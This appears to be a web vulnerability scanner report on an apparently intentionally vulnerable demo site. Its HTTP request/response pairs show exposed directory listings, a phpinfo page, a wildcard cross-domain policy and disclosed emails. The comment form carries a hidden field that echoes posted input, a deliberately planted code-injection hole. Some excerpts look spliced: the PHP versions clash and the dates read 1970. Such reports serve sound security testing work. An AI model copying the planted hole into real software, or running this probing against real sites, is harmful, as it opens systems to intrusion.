GET /CVS/ HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/
Host: testphp.vulnweb.com
Accept-Encoding: gzip, deflate
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:14:27 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
Content-Encoding:
Content-Type: text/html

<html>
<head><title>Index of /CVS/</title></head>
<body bgcolor="white">
<h1>Index of /CVS/</h1><hr><pre><a href="..">../</a>
<a href="Entries">Entries</a>                                     11-May-2011 10:27
  1
<a href="Entries.Log">Entries.Log</a>                             11-May-2011 10:27
    1
<a href="Repository">Repository</a>                               11-May-2011 10:27
    8
<a href="Root">Root</a>                                           11-May-2011 10:27                                1
</pre><hr></body>
</html>
```

Url: <http://testphp.vulnweb.com/admin/>



## Request

```
GET /admin/ HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/
Host: testphp.vulnweb.com
Accept-Encoding: gzip, deflate
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:14:28 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
Content-Encoding:
Content-Type: text/html
```

```
<html>
<head><title>Index of /admin/</title></head>
<body bgcolor="white">
<h1>Index of /admin/</h1><hr><pre><a href="..">../</a>
<a href="create.sql">create.sql</a>
523
</pre><hr></body>
</html>
```

11-May-2011 10:27



## Request

```
GET /clientaccesspolicy.xml HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/
Host: testphp.vulnweb.com
Accept-Encoding: gzip, deflate
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:14:28 GMT
Server: nginx/1.4.1
ETag: "5049b03d-133"
Accept-Ranges: bytes
Content-Length: 307
Content-Type: text/xml
Last-Modified: Fri, 07 Sep 2012 08:28:45 GMT

<?xml version="1.0" encoding="utf-8"?>
<access-policy>
  <cross-domain-access>
    <!--
      <allow-from http-request-headers="*">
        <domain uri="*" />
      </allow-from>
    -->
    <grant-to>
      <resource path="/" include-subpaths="true" />
    </grant-to>
  </cross-domain-access>
</access-policy>
```

Url: <http://testphp.vulnweb.com/crossdomain.xml>



## Request

```
GET /crossdomain.xml HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/
Host: testphp.vulnweb.com
Accept-Encoding: gzip, deflate
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:14:28 GMT
Server: nginx/1.4.1
ETag: "504f12be-e0"
Accept-Ranges: bytes
Content-Length: 224
Content-Type: text/xml
Last-Modified: Tue, 11 Sep 2012 10:30:22 GMT

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" to-ports="*" secure="false"/>
</cross-domain-policy>
```



# Request

GET /.idea/ HTTP/1.1  
Cache-Control: no-cache  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,\*;q=0.7  
Accept-Language: en-us,en;q=0.5  
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,\*/\*;q=0.5  
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5  
Referer: http://testphp.vulnweb.com/  
Host: testphp.vulnweb.com  
Accept-Encoding: gzip, deflate

# Response

HTTP/1.1 200 OK  
Connection: keep-alive  
Date: Tue, 20 Jan 1970 07:14:28 GMT  
Transfer-Encoding: chunked  
Server: nginx/1.4.1  
Content-Encoding:  
Content-Type: text/html

<html>		
<head><title>Index of /.idea/</title></head>		
<body bgcolor="white">		
<h1>Index of /.idea/</h1><hr><pre><a href="..">../</a>		
<a href="scopes/">scopes/</a>	13-Nov-2012 13:29	
-		
<a href="acuart.iml">acuart.iml</a>	20-Apr-2012 08:22	
292		
<a href="encodings.xml">encodings.xml</a>	20-Apr-2012 08:22	
171		
<a href="misc.xml">misc.xml</a>	20-Apr-2012 08:22	
266		
<a href="modules.xml">modules.xml</a>	20-Apr-2012 08:22	
275		
<a href="vcs.xml">vcs.xml</a>	20-Apr-2012 08:22	1
73		
<a href="workspace.xml">workspace.xml</a>	20-Apr-2012 08:23	
12473		
</pre><hr></body>		
</html>		



## Request

```
GET /secured/phpinfo.php HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/secured/newuser.php
Host: testphp.vulnweb.com
Accept-Encoding: gzip, deflate
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:14:34 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

...

```
class="e">Keep-Alive </td><td class="v">300 </td></tr>
<tr><td class="e">Connection </td><td class="v">keep-alive </td></tr>
<tr class="h"><th colspan="2">HTTP Response Headers</th></tr>
<tr><td class="e">X-Powered-By </td><td class="v">PHP/5.1.6 </td></tr>
<tr><td class="e">Keep-Alive </td><td class="v">timeout=5, max=100 </td></tr>
<tr><td class="e">Connection </td><td class="v">Keep-Alive </td></tr>

<tr><td class="e">Transfer-Encoding </td><td class="v">chunked </td></tr>
<tr><td class="e">Content-Type </td><td class="v">text/html </td></tr>
</table><br />
<h2><a name="module_ctype">ctype</a></h2>
<table border="0" cellpadding="3" width="600">
<tr><td class="e">ctype functions </td><td class="v">enabled </td></tr>
</table><br />
<h2><a name="module_curl">curl</a></h2>
<table border="0" cellpadding="3" width="600">

<tr><td class="e">CURL support </td><td class="v">enabled </td></tr>
<tr><td class="e">CURL Information </td><td class="v">libcurl/7.15.5 OpenSSL/0.9.7e zlib/1.2.3 </td></tr>
</table><br />
<h2><a name="module_date">date</a></h2>
<table border="0" cellpadding="3" width="600">
<tr><td class="e">date/time support </td><td class="v">enabled </td></tr>
<tr><td class="e">Timezone Database Version </td><td class="v">2006.1 </td></tr>
<tr><td class="e">Timezone Database </td><td class="v">internal </td></tr>

<tr><td class="e">Default timezone </td><td class="v">Europe/Helsinki </td></tr>
</table><br />
```

```
<table border="0" cellpadding="3" width="600">
<tr class="h"><th>Directive</th><th>Local Value</th><th>Master Value</th></tr>
<tr><td class="e">date.default_latitude</td><td class="v">31.7667</td><td class="v">31.7667</td></tr>
<tr><td class="e">date.default_longitude</td><td class="v">35.2333</td><td class="v">35.2333</td></tr>

<tr><td class="e">date.sunrise_zenith</td><td class="v">90.583333</td><td class="v">90.583333</td></tr>
<tr><td class="e">date.sunset_zenith</td><td class="v">90.583333</td><td class="v">90.583333</td></tr>
<tr><td class="e">date.timezone</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
>
</table><br />
<h2><a name="module_dom">dom</a></h2>
<table border="0" cellpadding="3" width="600">
<tr><td class="e">DOM/XML </td><td class="v">enabled </td></tr>

<tr><td class="e">DOM/XML API Version </td><td class="v">20031129 </td></tr>
<tr><td class="e">libxml Version </td><td class="v">2.6.26 </td></tr>
<tr><td class="e">HTML Support </td><td class="v">enabled </td></tr>
<tr><td class="e">XPath Support </td><td class="v">enabled </td></tr>
<tr><td class="e">XPointer Support </td><td class="v">enabled </td></tr>
<tr><td class="e">Schema Support </td><td class="v">enabled </td></tr>

<tr><td class="e">RelaxNG Support </td><td class="v">enabled </td></tr>
</table><br />
<h2><a name="module_exif">exif</a></h2>
<table border="0" cellpadding="3" width="600">
<tr><td class="e">EXIF Support </td><td class="v">enabled </td></tr>
<tr><td class="e">EXIF Version </td><td class="v">1.4 $Id: exif.c,v 1.173.2.5 2006/04/10 18:23:24 helly Exp
$ </td></tr>
<tr><td class="e">Supported EXIF Version </td><td class="v">0220 </td></tr>
<tr><td class="e">Supported filetypes </td><td class="v">JPEG,TIFF </td></tr>

</table><br />
<h2><a name="module_ftp">ftp</a></h2>
<table border="0" cellpadding="3" width="600">
<tr><td class="e">FTP support </td><td class="v">enabled </td></tr>
</table><br />
<h2><a name="module_gd">gd</a></h2>
<table border="0" cellpadding="3" width="600">
<tr><td class="e">GD Support </td><td class="v">enabled </td></tr>
<tr><td class="e">GD Version </td><td class="v">bundled (2.0.28 compatible) </td></tr>

<tr><td class="e">FreeType Support </td><td class="v">enabled </td></tr>
<tr><td class="e">FreeType Linkage </td><td class="v">with freetype </td></tr>
<tr><td class="e">FreeType Version </td><td class="v">2.2.1 </td></tr>
<tr><td class="e">T1Lib Support </td><td class="v">enabled </td></tr>
<tr><td class="e">GIF Read Support </td><td class="v">enabled </td></tr>
<tr><td class="e">GIF Create Support </td><td class="v">enabled </td></tr>

<tr><td class="e">JPG Support </td><td class="v">enabled </td></tr>
<tr><td class="e">PNG Support </td><td class="v">enabled </td></tr>
<tr><td class="e">WBMP Support </td><td class="v">enabled </td></tr>
<tr><td class="e">XPM Support </td><td class="v">enabled </td></tr>
<tr><td class="e">XBM Support </td><td class="v">enabled </td></tr>
</table><br />
<h2><a name="module_gettext">gettext</a></h2>

<table border="0" cellpadding="3" width="600">
<tr><td class="e">GetText Support </td><td class="v">enabled </td></tr>
</table><br />
```



```

<h2><a name="module_iconv">iconv</a></h2>
<table border="0" cellpadding="3" width="600">
<tr><td class="e">iconv support </td><td class="v">enabled </td></tr>
<tr><td class="e">iconv implementation </td><td class="v">libiconv </td></tr>
<tr><td class="e">iconv library version </td><td class="v">1.9 </td></tr>

</table><br />
<table border="0" cellpadding="3" width="600">
<tr class="h"><th>Directive</th><th>Local Value</th><th>Master Value</th></tr>
<tr><td class="e">iconv.input_encoding</td><td class="v">ISO-8859-1</td><td class="v">ISO-8859-1</td></tr>
<tr><td class="e">iconv.internal_encoding</td><td class="v">ISO-8859-1</td><td class="v">ISO-8859-1</td></tr>
<tr><td class="e">iconv.output_encoding</td><td class="v">ISO-8859-1</td><td class="v">ISO-8859-1</td></tr>

</table><br />
<h2><a name="module_libxml">libxml</a></h2>
<table border="0" cellpadding="3" width="600">
<tr><td class="e">libXML support </td><td class="v">active </td></tr>
<tr><td class="e">libXML Version </td><td class="v">2.6.26 </td></tr>
<tr><td class="e">libXML streams </td><td class="v">enabled </td></tr>
</table><br />
<h2><a name="module_mssql">mssql</a></h2>
<table border="0" cellpadding="3" width="600">

<tr class="h"><th>MSSQL Support</th><th>enabled</th></tr>
<tr><td class="e">Active Persistent Links </td><td class="v">0 </td></tr>
<tr><td class="e">Active Links </td><td class="v">0 </td></tr>
<tr><td class="e">Library version </td><td class="v">FreeTDS </td></tr>
</table><br />
<table border="0" cellpadding="3" width="600">
<tr class="h"><th>Directive</th><th>Local Value</th><th>Master Value</th></tr>

<tr><td class="e">mssql.allow_persistent</td><td class="v">0</td><td class="v">0</td></tr>
<tr><td class="e">mssql.batchsize</td><td class="v">0</td><td class="v">0</td></tr>
<tr><td class="e">mssql.charset</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
<tr><td class="e">mssql.compatability_mode</td><td class="v">Off</td><td class="v">Off</td></tr>
<tr><td class="e">mssql.connect_timeout</td><td class="v">5</td><td class="v">5</td></tr>

<tr><td class="e">mssql.datetimeconvert</td><td class="v">On</td><td class="v">On</td></tr>
<tr><td class="e">mssql.max_links</td><td class="v">Unlimited</td><td class="v">Unlimited</td></tr>
<tr><td class="e">mssql.max_persistent</td><td class="v">Unlimited</td><td class="v">Unlimited</td></tr>
<tr><td class="e">mssql.max_procs</td><td class="v">Unlimited</td><td class="v">Unlimited</td></tr>
<tr><td class="e">mssql.min_error_severity</td><td class="v">10</td><td class="v">10</td></tr>

<tr><td class="e">mssql.min_message_severity</td><td class="v">10</td><td class="v">10</td></tr>
<tr><td class="e">mssql.secure_connection</td><td class="v">Off</td><td class="v">Off</td></tr>
<tr><td class="e">mssql.textlimit</td><td class="v">Server default</td><td class="v">Server default</td></tr>
<tr><td class="e">mssql.textsize</td><td class="v">Server default</td><td class="v">Server default</td></tr>
<tr><td class="e">mssql.timeout</td><td class="v">60</td><td class="v">60</td></tr>

</table><br />
<h2><a name="module_mysql">mysql</a></h2>
<table border="0" cellpadding="3" width="600">
<tr class="h"><th>MySQL Support</th><th>enabled</th></tr>
<tr><td class="e">Active Persistent Links </td><td class="v">0 </td></tr>
<tr><td class="e">Active Links </td><td class="v">0 </td></tr>
<tr><td class="e">Client API version </td><td class="v">5.1.11-beta </td></tr>

```

```
<tr><td class="e">MYSQL_MODULE_TYPE </td><td class="v"><i>no value</i> </td></tr>

<tr><td class="e">MYSQL_SOCKET </td><td class="v">/tmp/mysql.sock </td></tr>
<tr><td class="e">MYSQL_INCLUDE </td><td class="v"><i>no value</i> </td></tr>
<tr><td class="e">MYSQL_LIBS </td><td class="v"><i>no value</i> </td></tr>
</table><br />
<table border="0" cellpadding="3" width="600">
<tr class="h"><th>Directive</th><th>Local Value</th><th>Master Value</th></tr>

<tr><td class="e">mysql.allow_persistent</td><td class="v">0</td><td class="v">0</td></tr>
<tr><td class="e">mysql.connect_timeout</td><td class="v">60</td><td class="v">60</td></tr>
<tr><td class="e">mysql.default_host</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td>
</tr>
<tr><td class="e">mysql.default_password</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i>
</td></tr>
<tr><td class="e">mysql.default_port</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td>
</tr>

<tr><td class="e">
```

...

# Unexpected Redirect Response Body

Url: http://testphp.vulnweb.com/comment.php ▲

## Request

```
GET /comment.php HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/comment.php
Host: testphp.vulnweb.com
Accept-Encoding: gzip, deflate
```

## Response


```
HTTP/1.1 302 Object moved
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:13:24 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Location: ./index.php
Content-Type: text/html
```

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>
comment on </title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css">
<!--
body {
    margin-left: 0px;
    margin-top: 0px;
    margin-right: 0px;
    margin-bottom: 0px;
}
-->
</style>
<link href="style.css" rel="stylesheet" type="text/css">
</head>
<body>
<form action="comment.php" method="post" enctype="application/x-www-form-urlencoded" name="fComment" id="fComment">
    <br>
    <table border="0" width="320" height="200">
        <tr>
            <td valign="top" class="story" align="left">Name</td>
            <td valign="top"><input name="name" type="text" id="name" value="&lt;your name here&gt;" size="25"></td>
        </tr>
        <tr>
            <td valign="top" class="story" align="left">Comment</td>
            <td valign="top"><textarea name="comment" cols="35" rows="8" wrap="VIRTUAL" id="comment"></textarea></td>
        </tr>
    </table>

```

```
<td>&nbsp;</td>
<td align="left" valign="top"><input type="submit" name="Submit" value="Submit"><input type="hidden" n
ame="phpaction" value="echo $_POST[comment];"></td>
</tr>
</table>
</form>
</body>
</html>
```

# Application / Version Disclosure

**Url:** http://testphp.vulnweb.com/ 

## Request

```
GET / HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Host: testphp.vulnweb.com
Accept-Encoding: gzip, deflate
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:07:23 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transition
```

...

Url: http://testphp.vulnweb.com/index.php



## Request

```
GET /index.php HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/
Host: testphp.vulnweb.com
Accept-Encoding: gzip, deflate
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:07:26 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transition
```

...

Url: <http://testphp.vulnweb.com/categories.php>



## Request

```
GET /categories.php HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/
Host: testphp.vulnweb.com
Accept-Encoding: gzip, deflate
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:07:26 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transition
```

...

Url: <http://testphp.vulnweb.com/artists.php>



## Request

```
GET /artists.php HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/
Host: testphp.vulnweb.com
Accept-Encoding: gzip, deflate
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:07:26 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transition
```

...



Url: <http://testphp.vulnweb.com/disclaimer.php>



## Request

```
GET /disclaimer.php HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/
Host: testphp.vulnweb.com
Accept-Encoding: gzip, deflate
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:07:26 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transition
```

...

# Email Disclosure

Url: <http://testphp.vulnweb.com/>



## Request

```
GET / HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Host: testphp.vulnweb.com
Accept-Encoding: gzip, deflate
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:07:23 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

...

"<http://www.acunetix.com>">About Us</a> | <a href="privacy.php">Privacy Policy</a> | <a href="mailto:wws@acunetix.com">Contact Us</a> | <a href="/Mod\_Rewrite\_Shop/">Shop</a> | <a href="/hpp/">HTTP Parameter Pollution</a>

...

Url: http://testphp.vulnweb.com/index.php



## Request

```
GET /index.php HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/
Host: testphp.vulnweb.com
Accept-Encoding: gzip, deflate
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:07:26 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

...

"<http://www.acunetix.com>">About Us</a> | <a href="privacy.php">Privacy Policy</a> | <a href="mailto:wvs@acunetix.com">Contact Us</a> | <a href="/Mod\_Rewrite\_Shop/">Shop</a> | <a href="/hpp/">HTTP Parameter Pollution</a>

...

Url: http://testphp.vulnweb.com/categories.php



## Request

```
GET /categories.php HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/
Host: testphp.vulnweb.com
Accept-Encoding: gzip, deflate
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:07:26 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

```
...
"http://www.acunetix.com">About Us</a> | <a href="privacy.php">Privacy Policy</a> | <a href="mailto:wvs@acun
etix.com">Contact Us</a> | &copy;2006
  Acunetix Ltd
</div>
<br>
</div>
</body>
<!-- InstanceEnd --></htm
...
```

Url: http://testphp.vulnweb.com/artists.php



## Request

```
GET /artists.php HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/
Host: testphp.vulnweb.com
Accept-Encoding: gzip, deflate
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:07:26 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

```
...
"http://www.acunetix.com">About Us</a> | <a href="privacy.php">Privacy Policy</a> | <a href="mailto:wvs@acun
etix.com">Contact Us</a> | &copy;2006
  Acunetix Ltd
</div>
<br>
</div>
</body>
<!-- InstanceEnd --></htm
...
```

Url: http://testphp.vulnweb.com/disclaimer.php



## Request

```
GET /disclaimer.php HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/
Host: testphp.vulnweb.com
Accept-Encoding: gzip, deflate
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:07:26 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

```
...
"http://www.acunetix.com">About Us</a> | <a href="privacy.php">Privacy Policy</a> | <a href="mailto:wvs@acun
etix.com">Contact Us</a> | &copy;2006
  Acunetix Ltd
</div>
<br>
</div>
</body>
<!-- InstanceEnd --></htm
...
```

Url: http://testphp.vulnweb.com/cart.php



## Request

```
GET /cart.php HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/
Host: testphp.vulnweb.com
Accept-Encoding: gzip, deflate
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:07:26 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

```
...
"http://www.acunetix.com">About Us</a> | <a href="privacy.php">Privacy Policy</a> | <a href="mailto:wvs@acun
etix.com">Contact Us</a> | &copy;2006
  Acunetix Ltd
</div>
<br>
</div>
</body>
<!-- InstanceEnd --></htm
...
```

Url: http://testphp.vulnweb.com/guestbook.php



## Request

```
GET /guestbook.php HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/
Host: testphp.vulnweb.com
Accept-Encoding: gzip, deflate
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:07:26 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

```
...
"http://www.acunetix.com">About Us</a> | <a href="privacy.php">Privacy Policy</a> | <a href="mailto:wvs@acun
